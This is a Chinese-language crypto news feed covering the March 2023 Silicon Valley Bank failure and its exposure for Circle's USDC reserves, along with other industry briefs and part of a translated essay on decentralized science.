    加州监管机构已关闭硅谷银行并由美国联邦存款保险公司接管 硅谷银行（SVB）已被加州金融保护和创新部关闭，并由美国联邦存款保险公司（FDIC）接管。FDIC 表示，硅谷银行拥有约 2090 亿美元资产，有 1754 亿美元的存款。硅谷银行的所有受保存款立即被转移给 FDIC 创建的圣克拉拉储蓄保险国家银行（DINB）。此外，所有受保用户将在 3 月 13 日前获得受保存款。未投保的用户将为未来一周内收到「预付红利」。据 CoinDesk 研究，Blockchain Capital、Castle Island Ventures、Dragonfly 和 Pantera 都与硅谷银行有关系。 内容来源 观点： CoinDesk：在硅谷银行（SVB）和 Silvergate 关闭期间，加密货币钱包在过去 24 小时内从中心化交易所提取的 USDC 资金总额约为 9.02 亿美元。过去 24 小时内，所有「Smart Money」钱包从中心化交易所提取了共计 6800 万美元的 USDC 。此外，包括 Genesis Trading、Wintermute 和 Jump Trading 在内的 Nansen 标记的基金和做市商地址提取了 7900 万美元。【原文为英文】 内容来源 Circle：硅谷银行是我们用于管理约 25% 的 USDC 现金储备的六家银行合作伙伴之一，目前，在等待美国联邦存款保险公司（FDIC）对硅谷银行接管的过程中，Circle 和 USDC 将继续正常运作。【原文为英文】 内容来源 Jinze Jiang 金泽：Circle 110 亿现金在六家银行，其中 Primary bank 是纽约梅隆银行，意味着理论 50% 至少在纽约梅隆，那么剩下的五家差不多分那 50 多亿，一家 10 亿，乘以 0.4，亏损在 4 亿多这个量级算合理的估算。占总资产的 1%，并不夸张。注意只是根据已有信息的推测，以后续事实为准。 内容来源 The Block：BlockFi 在硅谷银行拥有 2.27 亿美元「不受保护」的资金，监管 BlockFi 破产案的美国受托人在文件中表示，这 2.27 亿美元也没有由联邦存款保险公司承保，因为它属于货币市场共同基金。【原文为英文】 内容来源 Tether：Tether 在硅谷银行没有任何风险敞口。【原文为英文】 内容来源 深潮 TechFlow：谁也没想到，仅仅 48 小时，知名的硅谷银行就倒闭了！后续影响有多大？大多数传统银行对初创企业不友好，特别是搭了离岸股权结构的，硅谷银行可以说是许多初创企业的最佳甚至是唯一选择，因此大量 VIE 架构的中国科创公司也在使用硅谷银行。此外，大量加密行业的初创公司也在使用硅谷银行，包括很多华人项目，一个新加坡主体不一定能在新加坡银行开户，但是在硅谷银行可以，开户简单快捷，并且服务特别好。 内容来源 Circle：我们目前约 400 亿美元的 USDC 储备中仍有 33 亿美元保存在硅谷银行（SVB）中。【原文为英文】 内容来源  ( 70 min )

  • Open

    Circle在硅谷银行持有未披露的USDC现金储备
    PANews 3月11日消息，据CoinDesk报道，稳定币发行商Circle在硅谷银行持有一笔未披露的USDC现金储备。USDC为第二大稳定币，市值430亿美元，完全由政府债券和现金资产支持。根据Circle一月份储备报告，该公司在受监管银行持有98.8亿美元的USDC现金储备，其合作银行包括纽约梅隆银行、Citizens Trust Bank、Customers Bank、New York Community Bank、Signature Bank、硅谷银行和Silvergate Bank。据此前消息，硅谷银行已于周五破产并被美国联邦存款保险公司（FDIC）接管。  ( 4 min )
    Paxos：与硅谷银行没有关系
    PANews 3月11日消息，Paxos推特发文称，与硅谷银行没有关系。Paxos稳定币对硅谷银行没有敞口。  ( 4 min )
    赵长鹏：币安对硅谷银行没有敞口，资金安全
    PANews 3月11日消息，币安CEO赵长鹏推特发文称，币安对硅谷银行没有风险敞口，资金是安全的。  ( 4 min )
    硅谷银行破产，已被美国联邦存款保险公司(FDIC)接管
    PANews 3月11日消息，据彭博社报道，硅谷银行已破产并被美国联邦存款保险公司(FDIC)接管。加州金融保护和创新局周五在一份声明中表示，它已经接管硅谷银行，并指定FDIC作为接管人，理由是流动性不足和资不抵债。FDIC表示，受保险储户最迟将在周一上午获得资金。未投保储户将获得未投保资金剩余金额的破产管理证书，但尚不清楚具体金额。随着FDIC出售硅谷银行的资产，未来可能会向未投保储户支付股息。据此前消息，硅谷银行母公司SVB宣布，在其投资组合出现重大亏损后，将努力筹集超过20亿美元的资金。硅谷银行成立于1983年，自成立以来，该公司专门为科技初创企业提供金融服务。FDIC称，截至去年年底，该银行总资产约2090亿美元，总存款约1754亿美元。截止结算时，超过保险限额的存款金额尚未确定。FDIC作为接管人将保留硅谷银行的所有资产，以备日后处置。贷款客户应继续照常还款。  ( 4 min )
    硅谷银行1619亿美元存款中93%没有保险
    PANews 3月10日消息，据彭博社报道，根据最近的一份监管文件，硅谷银行（SVB）1610 亿美元存款中有 93% 是没有(存款)保险的。另据华尔街日报报道，硅谷银行邀请咨询公司 Centerview 与律师事务所 Sullivan & Cromwell LLP 商谈出售事宜。值得一提的事，Sullivan & Cromwell 也是负责处理FTX破产案律师事务所。 此前CNBC报道，硅谷银行(SIVB.O)筹集资金的尝试已经失败，公司正在进行自我出售的谈判。 相关阅读：硅谷银行爆了，硅谷“炸了”  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.10）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    美参议员：监管机构对为加密银行的打击可能会“惩罚整个行业”
    PANews 3月10日消息，据CoinDesk报道，四名共和党参议员在致多家美国监管机构的一封信中表示，监管机构对为加密货币行业参与者服务的银行的打击力度越来越大，可能会“惩罚整个行业”。打击加密货币行业可能超出监管机构的授权范围，类似于此前通过监管金融体系对合法枪支供应商进行的打击。他们还要求监管机构在3月24日之前做出回应。 信中向美联储、美国货币监理署（OCC）以及美国联邦存款保险公司相关负责人表示：“我们尤其担心，银行监管机构的过度行为将不可避免地影响到其他合法行业，基于某个特定监管机构的意识形态角度，任何行业都有可能‘不受欢迎’……少数人的问题不应该导致许多人的伤害，监管机构不应该惩罚整个行业。”  ( 4 min )
    CNBC：硅谷银行正在进行自我出售的谈判
    PANews 3月10日消息，据CNBC报道，硅谷银行(SIVB.O)筹集资金的尝试已经失败，公司正在进行自我出售的谈判。有大型金融机构正在考虑收购硅谷银行(SIVB.O)的可能性。 刚刚硅谷银行（SIVB.O）盘前停牌，等待刊发消息。停牌前一度从跌 60% 拉升至涨 50%。随后硅谷银行盘前再度跌超50%。此前美国白宫经济顾问 Ramamurti 表示，财政部正在监测硅谷银行可能的传染风险。  ( 4 min )
    美国2月季调后非农就业人口为31.1万人，超预期
    PANews 3月10日消息，据金十，美国2月季调后非农就业人口为31.1万人，预期20.5万人，前值51.7万人。美国2月失业率3.6%，预期3.40%，前值3.40%。  ( 4 min )
    PA日报｜硅谷银行SVB股价暴跌；Meta探索去中心化社交网络
    今日要闻提示： 美联储副主席：美联储组建了一个研究加密货币创新的团队 纽约总检察长起诉KuCoin提供未注册证券，称“以太币属于证券” Meta正探索用于文本更新的去中心化社交网络应用程序 孙宇晨回应HT短时暴跌：火必运营一切正常，盘面现象属市场行为与波动 Circle在硅谷银行存有小部分储备金，其80% USDC储备为美国国债 Hedera：黑客攻击了主网智能合约服务代码，正在研究解决方案 数据：Voyager过去6周已抛售价值超3.5亿美元的加密资产 数据：Ordinals协议昨日单日铭文铸造量超3万枚，创历史新高 监管消息 美联储副主席：美联储组建了一个研究加密货币创新的团队 据金十报道，美联储负责金融监管的副主席巴尔表示，加密技术仍具有“潜在的变革性”，但需要保持“适当的边界”。银行应谨慎对待加密货币。直接持有加密货币的银行会被认为是不安全的。美联储组建了一个研究加密货币创新的团队。美联储正在加强其加密货币监管能力，并计划继续发布关于加密货币的指导意见。加密投资者通常缺乏足够的信息来评估风险。 巴尔表示，一些加密货币除了所有者的信念之外，“没有内在价值”。美联储正在研究银行如何安全地参与到加密货币领域。美联储正在组建专门的团队，跟进加密领域的进展。由于网络的存在，稳定币可以得到迅速发展，可能带来造成巨大市场扰乱的风险。 纽约总检察长起诉KuCoin提供未注册证券，称“以太币属于证券” 据CoinDesk报道，美国纽约州总检察长Letitia James周四对加密交易所KuCoin提起诉讼，指控其提供未注册的证券和商品。该诉讼是纽约州监管机构发起的“未注册加密平台整顿行动”的一部分。该诉讼还指控以太币、Luna和TerraUSD都属于证券。此外，James还认为，KuCoin通过其借贷和质押产品KuCoin Earn销售未注册证券。James寻求获得法院命令，以阻止KuCoin在纽约州运营，并指示KuCoin实施基于IP地址和GPS位置的地理屏蔽，以阻止纽约州居民访问KuCoin的应用程序和服务。 美国司法部对纽约法官批准Voyager出售给Binance.US的决定提起上诉 据CoinDesk报道，美国司法部 (DOJ)于周四晚间提起上诉，质疑纽约破产法官允许Binance.US以数十亿美元收购破产加密借贷平台Voyager Digital资产的决定。 该上诉由美国受托人办公室（司法部负责监督破产的一个部门）提出，就在法官Michael Wiles经过为期四天的听证会后批准该交易的一天后。 此前今日早些时候消息，Voyager债权人表示，反对任何针对法院批准Binance.US收购的上诉。 NFT Starbucks Odyssey发布首个NFT系列“Siren Collection”，18分钟内售罄 星巴克Web3忠诚度计划Starbucks Odyssey发布了首个限量版NFT系列“Siren Collection”。该系列共有2000件作品，主题为星巴克标志性的海妖，每个NFT定价100美元。Starbucks Odyssey会员可以从美国东部时间下午12点开始每人购买两个作品，并可以通过信用卡或连接他们的MetaMask钱包付款。该系列在18分钟内售罄，目前正在二级市场上销售，当前地板价为450美元。 火必NFT市场将于5月13日下线，此前用户需自行提取该平台内的NFT 火必在火必NFT清退通知中表示，由于云钱包战略规划及产品调整，火必NFT市场将于2023年5月13日正式下线，因此用户需自行将在火必NFT内的NFT资产转回自己的链上钱包内。转移截止时间为2023年5月13日，截止时间前所有功能正常使用。截止时间后，火必NFT市场将下架，不再提供相关服务。 元宇宙 Meta正探索用于文本更新的去中心化社交网络应用程序 据路透社报道，Meta Platforms Inc (META.O)发言人周五表示，该公司正在探索一个独立的去中心化社交网络，用于共享文本更新，这可能是马斯克的Twitter的直接竞争对手。Meta发言人在一封电子邮件声明中表示：“我们正在探索一个独立的去中心化社交网络来分享文本更新。我们相信有机会创造一个独立的空间，让创作者和公众人物可以及时分享他们的兴趣。” 当天早些时候，印度商业新闻网站Moneycontrol.com首先援引消息人士的话报道了这一消息。该报道称，Meta的新内容应用程序将支持ActivityPub，这是一种去中心化的社交网络协议，为Twitter的竞争对手Mastodon和其他联合应用程序提供支持。Meta的新应用程序将采用Instagram品牌，并允许用户通过他们的Instagram账号注册或登录。 日本将修法禁止在元宇宙销售仿冒品 据同花顺报道，日本政府在3月10日的内阁会议上敲定了禁止在网络虚拟空间“元宇宙”销售仿冒品的《反不正当竞争法》修正案，以强化数字时代的知识产权保护。为了扶持企业的品牌战略，政府将向本届国会提交由6项法案组成的知识产权一揽子法案，其中的《商标法》修正案将为姓名商标的注册提供便利。 项目动态 Blockchain.com将暂停运营资产管理部门 据彭博社报道，Blockchain.com将暂停其资产管理部门业务。一份文件显示，Blockchain.com资产管理公司（BCAM）周一已申请取消注册，该公司目前尚未提交任何年度账目。BCAM于2022年4月推出，不久后宏观经济状况迅速恶化。该公司一位发言人在电子邮件中表示：“随着加密货币冬天已持续近一年，我们做出了暂停运营该部门的商业决定。”据此前消息，Blockchain.com今年1月表示将裁员28%，约110名员工。去年7月，在三箭资本(Three Arrows Capital)倒闭后，该公司裁员约150名员工。 Block.one：已清仓Silvergate股份，旗下加密交易所Bullish对Silvergate没有风险敞口 据CoinDesk报道，区块链软件公司Block.one表示，在Silvergate上周无法提交年报后，已清仓了持有的Silvergate股份。Block.one还表示，旗下加密交易所Bullish对Silvergate没有风险敞口。Silvergate的控股公司周三宣布，该银行将“自愿清算”其资产并停止运营。去年11月，Block.one及其首席执行官Brendan Blumer购买了Silvergate Capital 9.27%的股份，并在12月增持至9.9%，成为该银行最大的股东之一。 孙宇晨回应HT短时暴跌：火必运营一切正常，盘面现象属市场行为与波动 孙宇晨在推特上表示：“此次火必交易所运营一切正常，钱包正常，运营正常，后台正常。只因为现货、合约HT代币有部分用户触发杠杆连环爆仓的盘面现象。目前各项工作正稳步开展，并无任何突发现象，仅仅属于市场行为与波动。” 据CoinDesk报道，TradingView数据显示，HT在北京时间今日凌晨5时左右在火必交易所从4.81美元的24小时高点跌至0.31美元的低点，短时暴跌93%。其他交易所的价格也出现了类似的下跌。目前HT已回升至3.96美元，24小时跌幅达18%。Kaiko的一名研究人员在推特上写道，就在快速下跌前的五分钟内，HT的销售额达到200万美元。通常情况下，HT-USDT对的购买量约为60万美元。 据Chaincatcher昨日凌晨消息，知情人士披露的火必全员信显示，加密货币交易平台Poloniex多部门将并入火必。包括资产、市场&运营、产品设计、流动性、客服、合规等相关工作的员工将融入火必团队。Poloniex Business Center下设二级部门Engineering与Infrastructure。对此，火必回应称不属实。 今日晚些时候消息，孙宇晨表示，火必将全额承担HT市场波动所导致杠杆穿仓损失，并将出资1亿美元成立流动性基金。链上数据显示，孙宇晨已将1亿枚USDC作为流动性基金转移至火必。 MakerDAO创始人提议重塑DAI稳定币品牌，包括设计一个含有美元的新名称 据CoinDesk报道，在周四与社区成员的电话会议上，MakerDAO的创始人Rune Christensen表示，MakerDAO应该重新命名稳定币DAI，让“普通人”更容易理解。Christensen在电话讨论中表示，品牌形象不佳可能会抑制其增长该协议的去中心化计划，即“Endgame Plan（终局计划）”。 Christensen表示：“如果稳定币想吸引普通人，正确名称必须含有USD（美元）。但新名称意味着代币将继续与美元挂钩，而且不能保证一定会挂钩。”他呼吁“彻底重塑品牌、全新名称、全新外观、完全不同的用户获取方法”，并称这是“控制叙事的唯一方法”。他补充说，MakerDAO应该将DAI定位为用户可以用来产生收益的货币。他认为，DAI应该被视为“最安全、最可靠的游戏化加密货币”。并非所有与会者都认可Christensen的论点。 SushiSwap：借贷产品Kashi去年12月已被弃用，请用户尽快取款 去中心化交易所SushiSwap在推特上表示：“借贷产品Kashi在去年12月已被弃用，不再被积极维护。如果用户在Kashi有借贷资金，请尽快取款。” 今日晚些时候消息，用户反应无法从Kashi中提款，且旧预言机被利用导致用户资金受损。 Circle在硅谷银行存有小部分储备金，其80% USDC储备为美国国债 根据Circle今年1月审计报告内容显示，Circle在美国多家受监管的金融机构中存有储备金，其中包括硅谷银行（Silicon Valley Bank）、Silvergate等。该报告由德勤审查和证明。不过3月4日消息，Circle称已将Silvergate持有的一小部分USDC储备存款转移至其他银行合作伙伴。 Circle 2022年度报告显示，资产储备方面，约80%的USDC储备是3个月期美国国债。到2023年1月底，将转移这些Circle 100%持有的储备由贝莱德管理，由纽约梅隆银行（全球最大的托管人）托管。其余约20%为现金，由8个受美国监管的银行合作伙伴分别持有。这些储备金由德勤每月审查和证明，目前已发布第一份证明报告。 今日早些时候消息，硅谷银行母公司SVB Financial Group股价周四暴跌逾60%，盘后进一步下跌近20%。硅谷风投教父Peter Thiel等数十家风投建议从其撤出资产。今日晚些时候消息，Immutable X联创表示，公司对Silvergate和硅谷银行没有风险敞口。 Hedera：黑客攻击了主网智能合约服务代码，正在研究解决方案 Hedera披露攻击细节，攻击者对Hedera主网的智能合约服务代码进行攻击，将部分用户账户持有的Hedera Token Service代币转移到自己的账户中。攻击者的目标是在多个DEX上用作流动性池的账户，这些DEX使用Uniswap V2派生的合约代迁移过来使用Hedera Token Service，包括Pangolin Hedera、SaucerSwap和HeliSwap。当攻击者将通过攻击获得的代币移动到Hashport Network Bridge时，Bridge运营者检测到该活动并迅速采取行动将其禁用。 为了防止攻击者窃取更多代币，Hedera已关闭主网代理，这会移除用户对主网的访问权限。Hedera团队已确定问题的根本原因并正在研究解决方案。 一旦解决方案准备就绪，Hedera委员会成员将签署交易以批准在主网上部署更新代码以消除此漏洞，届时将重新开放主网代理并允许恢复正常活动。 此前昨日消息，Hedera官方披露其智能合约出现异常状况并正进行调查，今日早些时候消息，Hedera称已关闭主网网络代理。 Optimism主网Bedrock升级提案V2版本已发布，涵盖严格的升级标准流程 治理页面显示，关于以太坊二层解决方案Optimism主网Bedrock升级提案的新版本（即V2版本）已发布，该版本制定了一套严格的升级上线标准，而不是在提案本身中指定确切的日期。 该标准流程为：1.先在Optimism Goerli上进行Regolith硬分叉（预计北京时间3月18日03:00激活），其中包含Sherlock最近发现的改进；2.后续审计，以测试上次审计后所做的修复；3.进行从无效输出root迁移和恢复的内部升级演练，在共识和功能冻结的版本上进行2周的测试网稳定性，然后发布公告并提前3周通知社区Bedrock升级时间。只有在达到测试网稳定性的标准后，Optimism基金会才会宣布升级日期，至少在发布日期后3周。升级将在特定时间触发，而不是区块高度。 Aave将为其用户恢复丢失的价值500美元以上的代币资产 据The Block报道，在 DAO 一致投票赞成开始资产恢复流程的第一阶段后，DeFi 借贷协议 Aave 将为其用户挽救丢失的代币。第一阶段将关注错误地发送到 AAVE、LEND 和抵押 AAVE 代币智能合约的代币。其中包括 AAVE、LEND 和 stkAAVE 等代币，以及 UNI 和 USDT。资产恢复仅包含价值至少 500 美元的代币。回收的代币将被发送到分销商智能合约。然后，用户将能够从合约中取回丢失的代币。为此，他们将不得不使用最初丢失它们时使用的相同钱包地址。 融资消息 ZK技术公司Proven完成1580万美元种子轮融资，Framework Ventures领投 据The Block报道，提供零知识证明技术以使加密货币公司能够证明偿付能力的公司 Proven 完成 1580 万美元种子轮融资，由 Framework Ventures 领投，Balaji Srinivasan、Roger Chen 和 Ada Yeo 等天使投资人参投。 Proven 可能希望它可以提供一种替代方法来验证储备证明，并且到目前为止，种子阶段的初创公司将 Coinlist 和 Bitso 等公司视为客户。它希望将交易所、资产管理者和托管人作为潜在客户，并将利用这笔资金扩大其开发团队。 矿业消息 美国总统拜登预算提议对加密挖矿用电量征收30%的税 据Cointelegraph报道，美国总统拜登在其政府的2024财年预算中提议分阶段对加密货币挖矿电力成本征收30%的税。美国财政部3月9日发布的一份补充预算解释文件称，任何使用资源的公司（无论是自有还是租赁）都将“缴纳相当于数字资产挖矿所用电力成本30%的消费税” 。 它建议该税将在2023年12月31日之后的纳税年度实施，并以每年10%的税率分三年分阶段实施，到第三年达到最高30%。加密矿工将需要报告“使用的电量和类型以及电量的价值”。获得离网电力需求的加密货币矿工仍需缴纳税款，并且需要估算任何“发电厂”产生的电力成本。 此前昨日消息，美国总统拜登将在预算提案中结束对加密货币等投资者的税收减免。 重要数据 Bakkt去年第四季度收入同比增长14%，商誉减值费用约2.72亿美元 据The Block报道，数字资产平台Bakkt报告称，去年第四季度收入为1560万美元，低于FactSet预计的1600万美元，但仍同比增长14%。调整后的EBITDA为负3050万美元，同比增长30.3%。运营费用从8600万美元增至3.41亿美元，同比增加近3倍，其中非现金商誉和无形资产减值费用约为2.72亿美元。据此前消息，Bakkt表示将于3月16日正式停用其消费者应用程序，以专注于其企业对企业（B2B）技术解决方案。 数据：Voyager过去6周已抛售价值超3.5亿美元的加密资产 加密情报平台Arkham分析称，在过去6周里，Voyager Digital在从其链上资产中抛售价值超过3.5亿美元的加密资产，并使用Binance US、Coinbase和通过Wintermute直接进行场外交易，以清算资产。 此外，仅自3月初以来，Voyager就向做市商和交易所发送了25种不同的加密资产，价值总计1.3888亿美元。Voyager本月前3大清算资产包括超1亿美元的ETH、2583万美元的SHIB以及1122万美元的VGX。 据统计，Voyager剩余的资产价值约为7.6亿美元，其中绝大部分已转换为4.88亿美元USDC，此外还持有1.5122亿美元的ETH，4953万美元的VGX以及4140万美元的SHIB。 据悉，自2月14日以来Voyager几乎每天通过Coinbase出售加密资产。此前3月8日消息，法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍。 数据：Ordinals协议昨日单日铭文铸造量超3万枚，创历史新高 据Dune Analytics数据显示，比特币NFT协议Ordinals昨日单日铭文铸造量超3万枚，创历史新高。其中“文本”类型的铭文数量接近2.7万枚，占比达85%。基于比特币NFT协议Ordinals铸造的铭文总量已接近40万枚，迄今产生的总费用超75枚BTC。 据悉，昨日推特用户@domodata启动了一场基于Ordinals协议的创新实验“BRC-20”，旨在通过Ordinals协议在比特币网络上实现像在以太坊网络上发行ERC-20代币的效果。 Ark Invest昨日增持2050万美元Coinbase股票 据The Block报道，Cathie Wood 的 Ark Invest 继续在其基金中增持 Coinbase 股票，继周三增持后，昨天又增持了 2050 万美元。 其中 Ark Invest 向其 Ark Innovation ETF 添加了 301,437 股 Coinbase 股票，向 Ark Next Generation Internet 添加了 52,525 股 Coinbase 股票。Ark Invest 还购买了社交交易平台 Robinhood 超过 265,000 股股票。这些股票仅被添加到 Ark Next Generation Internet ETF 中，达到约 250 万美元。 微博官方：共处置131个非法证券期货活动、违规营销账号 据金十报道，微博官方公告称，对从事非法证券、期货、虚拟货币买卖活动及通过微博博文、私信等方式导流至QQ群、微信群、公众号等站外平台等违规营销信息进行集中处理。根据相关规定，视情节严重程度不同采取删除内容、禁私信功能、内容降权、禁言直至注销账号处理。本次共处置账号131个。微博根据《证券法》等法律法规和相关规定，不断升级技术手段、调整产品策略、优化监控和处理效率，持续加大对平台上存在的非法证券活动的打击力度，对于相关违法违规行为从严治理，绝不姑息。  ( 5 min )
    硅谷银行(SIVB.O)盘前暴跌60%，开盘股价势创2011年以来新低
    PANews 3月10日消息， 行情显示，硅谷银行(SIVB.O)盘前暴跌60%，开盘股价势创2011年以来新低，该股隔夜收跌超60%。 相关阅读：硅谷银行爆了，硅谷“炸了”  ( 4 min )
    微博官方：共处置131个非法证券期货活动、违规营销账号
    PANews 3月10日消息，据金十报道，微博官方公告称，对从事非法证券、期货、虚拟货币买卖活动及通过微博博文、私信等方式导流至QQ群、微信群、公众号等站外平台等违规营销信息进行集中处理。根据相关规定，视情节严重程度不同采取删除内容、禁私信功能、内容降权、禁言直至注销账号处理。本次共处置账号131个。微博根据《证券法》等法律法规和相关规定，不断升级技术手段、调整产品策略、优化监控和处理效率，持续加大对平台上存在的非法证券活动的打击力度，对于相关违法违规行为从严治理，绝不姑息。  ( 4 min )
    视频｜美联储或将加快加息，比特币跌破2万美元，美国执法部门转移4.9万枚BTC，灰度起诉SEC，胜率高达70%！
    00:00 精彩预告 00:36 美国犹他州立法机关已通过DAO法案 01:15 Uniswap发布自托管钱包 01:50 NFT系列TwelveFold拍卖结束 02:38 币安相关内容 03:38 亚马逊推出NFT平台 04:49 PANEWS PARTY AWARD 2023 投票中 05:10 灰度诉美SEC案开庭首日结果大好 05:51 美国执法部门转移4.9万枚BTC 06:21 以太坊和稳定币是商品不是证券 07:05 门头沟最新进度 07:43 美联储准备加快加息 08:22 文章推荐 PANews PARTY AWARD 2023 年度评选投票 https://www.panewslab.com/party/2023/vote  好文推荐： 1. 香港Web3新政后实地考察，分享8点所闻所感 https://www.panewslab.com/zh/articledetails/6r5v82z3.html 2. 详解三款大制作游戏Bigtime、Illuvium和Parallel的内测玩法和资产市值 https://www.panewslab.com/zh/articledetails/bmgcxzdm.html  ( 4 min )
    Aave将为其用户恢复丢失的价值500美元以上的代币资产
    PANews 3月10日消息，据The Block报道，在 DAO 一致投票赞成开始资产恢复流程的第一阶段后，DeFi 借贷协议 Aave 将为其用户挽救丢失的代币。第一阶段将关注错误地发送到 AAVE、LEND 和抵押 AAVE 代币智能合约的代币。其中包括 AAVE、LEND 和 stkAAVE 等代币，以及 UNI 和 USDT。资产恢复仅包含价值至少 500 美元的代币。回收的代币将被发送到分销商智能合约。然后，用户将能够从合约中取回丢失的代币。为此，他们将不得不使用最初丢失它们时使用的相同钱包地址。  ( 4 min )
    深度思考：Token和DAO能为医学做什么？
    原文作者：Rapolas 编译：LlamaC 「推荐寄语：在进入行业的第一天起，任何人都绝对无法预测到有天自己可能成为一名链上的医药资本家，而这一切正在悄然发生。医学的未来竟然由代币推动，跟随小编一起了解这个新的自由市场，是如何打破政府对科学创新的垄断」 在去年的熊市期间，局外人得出结论，我们的行业没有生产对现实世界有价值的产品或服务。 ?‍?我们所有的努力、时间和金钱都白费了。 我们认为这是一个严重的误解。加密资本和区块链基础设施现在正在为去中心化科学 (DeSci) 提供动力，我们将其定义为科学研究的无需许可的资本形成。 过去，我们很难向医学界和消费者（患者）界的人解释这些想法。下面的文章是我们关于这个加密垂直领域的论文，但我们也希望它能为到目前为止还没有参与加密的研究人员和利益相关者提供一个全面的概述，让他们了解区块链和科学之间的交叉点。 简而言之，DeSci 将加速长尾疗法的研究和资助，颠覆政府和学术界之间现有的激励机制，金融化并提供更广泛的访问相当封闭的资产类别，并产生人们愿意的现实世界结果支付。 在生物技术领域，通常有药物开发范围的两端：学术界和大型制药公司，前者是研究和疗法的发源地，后者中的大多数由于成熟的商业化能力（制造、营销和销售）最终落户于此。 生物技术的公共资本市场存在，但这条道路更加不透明，因为公司通常在进行临床试验时筹集资金并且没有任何收入。行之有效的方法是将产品卖给大型制药公司，其结果通常以数亿美元计，有时甚至数十亿美元。对于大型制药公司而言，收购其研究成果是保护大型制药公司收入增长的唯一途径，因为它们缺乏新药和疗法的创新，并且现有的专利正在面临到期。 如果大型制药公司在竞争中脱颖而出并限制内部研发支出，那么大部分新药来自哪里？生物技术进步的核心是政府资助的学术实验室的学术研究。到 2018 年，前 30 种药物中超过一半来自学术界，包括前 10 种药物中的 6 种。正如 Elliot Hershberg 和 Jocelynn Pearl 博士在他们的文章Gassing the Miracle Machine中所说： “美国国立卫生研究院 (NIH) 的年度预算约为 450 亿美元，是生物医学研究经费的 800 磅重的大猩猩。年度预算约为 80 亿美元的国家科学基金会等其他机构也是主要的资助机构。这些大型政府机构向通过各种不同的拨款机制申请的首席研究员 (PI) 发放资金。PI 通常是研究型大学或医学院的教授，他们负责管理实验室。实际的研究是由研究生、临时博士后学者（博士后）和一些专业人员进行的，而 PI 是管理者。” 生物技术行业的典型研究周期如下所示： 1.大学实验室向政府申请拨款； 2.实验室获得资助并进行初步研究； 3.如果成功，资助项目将产生一篇有前途的论文，需要大量资金和实验室能力进行进一步研究； 4.大学没有商业野心，因此他们与早期生物技术基金/加速器合作，组成创业团队以进一步开展研究； 5.如果初创公司成功，他们就会退出大型制药公司。 很容易理解为什么这种自上而下的缓慢模型会产生不佳的结果。拨款过程是一个巨大的官僚机构。轶事证据表明，科学家将 80% 的时间用于撰写资助申请，而只有 20% 的时间用于研究。 政府也有优先事项——它在某些治疗领域投入了资金，而忽视了其他领域。大多数时候，这个过程都是关于短期主义的——为立竿见影的结果而优化，追求更容易获得的成果，而这些成果只会带来略微更好的结果。这些是科学家被迫涉足的研究领域。 该系统也不奖励负面发现（证明事情不起作用）或研究的可重复性（这是建立科学知识的基本标准，遗憾的是已被同行评审文化所取代）。它使学术界追求证书和声誉，因为每个人都希望他们的实验室资金充足且最负盛名，以吸引人才。 今天的激励制度也导致了罕见病研究和资助的停滞。几十年前，我们就被许诺了癌症治疗、细胞和基因疗法以及阿尔茨海默氏症的治愈方法。不知何故，这些东西总是在拐角处持续数十年。 我们承认传统模式在经济上是合理的——资助商业上明智的研究，研发成本低，并以最广泛的 TAM 为目标。然而，它忽视了这样一个事实，即出于某种原因，一些资本愿意逆潮流而行，为登月计划提供资金——在许多情况下，有资本的人与罕见疾病密切相关，并希望帮助解决这些问题。 其次，传统模型根本无法突破科学发现的界限。相比之下，DeSci 支持治疗学术研究的长尾病症，在这些研究中，TAM 并不那么离谱，但仍会导致改变生活的结果，同时为投资者保留所需的经济效益。 “君子科学”的概念从 17 世纪就存在了数百年。这些人是经济独立的人，他们与国家没有任何关系，并在没有强加议程的情况下寻求探索科学发现。查尔斯达尔文、尼古拉特斯拉、本富兰克林、阿尔伯特爱因斯坦、罗伯特博伊尔和约翰道尔顿都是绅士科学家。随着集中资助机制的兴起，学术科学在 20 世纪才呈现出目前的形式。 有一种说法认为，一个人所能做出的所有有意义的发现都已经完成，但这种说法忽略了这样一个事实，即绅士科学家在某种程度上仍然受到资金限制（他们有能力追求自己的激情在他们自己的议程上，但没有无限的选择权）。 在像加密货币这样的无边界系统中，资本形成不受限制。因此，DeSci 着眼于解决科学家的资金准入问题，推动针对长尾病症的新药研发。在市场的一侧，有科学家希望从事他们选择的研究项目，而在另一侧，有DAOs 准备好为他们的特定目标（长寿、肿瘤治疗、心血管疾病、 ETC）的研究进行资助。 DeSci 的论文在过去已经得到验证——但形式不同。虽然市场并不总是能够解决每个人的问题，但个人有能力纠正自己的方向并对自己的状况进行个性化研究。 想想 Reddit（https://www.reddit.com/r/Biohackers/）上的生物黑客运动，人们通过反复试验共同为医疗条件和治疗的开源库版本做出贡献。 threebody capital 的文章（https://threebody.capital/blog/2022/8/19/desci-a-better-model-for-scientific-research）很好地总结了生物黑客： “这个概念似乎早在 1988 年就已经存在，自 2005 年以来甚至实验室套件都在 eBay 上出售，而怀疑论者会说这相当于玩火，在自己身上试验药物，这样一个 reddit 页面和这样的社区的存在本身就凸显了制药界的一个根本问题”。 Cherry Crypto 最近在 DeSci 堆栈（https://www.cherry.xyz/writing/the-emerging-desci-stack）上发表了一篇文章，看起来是这样的： 这个堆栈正在出现，它的部分是流动的。我们要补充的是，随着时间的推移，这种架构将变得更加丰富，因为研究资助 DAO 的参与者——科学家、投资者和其他贡献者——开始通过链上证明和可验证的资料来区分自己。通过 Sismo 铸造的徽章可以帮助最好的 DAO 筹集资金（“我们的 DAO 资助了 20 名被学术界拒绝并随后成功的科学家”）和主题专家建立他们的声誉（毕竟，医学需要专业化，而且没有任何一种声誉/可信度测量会有太多的噪音和没有信号）。 接下来，我们认为零知识证明也应该是这幅图的一部分，因为与患者医疗状况有关的敏感信息需要隐私。这些信息可能在链上，也可能不在链上，但是如果有人试图根据临床试验的结果在后期阶段筹集资金，那么零知识技术对于那些投资于此类治疗的知识产权 (IP) 的人来说将是有价值的. 查找您感兴趣的专利和数据需要整理和发现。应用层——市场、发布网关——将使用它们下面的索引工具来显示相关信息。 超级金融化层可以位于这个堆栈的顶部（或旁边），因为 IP-NFT 是可组合的代币。可能会有针对 IP 的抵押贷款（这是 DAO 可以利用杠杆的方式，或者科学家在下一个突破之前获得增量跑道），以及适合现有生物技术对冲基金行业的预测市场，投资者押注二进制临床试验的结果。 我们认为科学的超级金融化是广大公众加入 DeSci 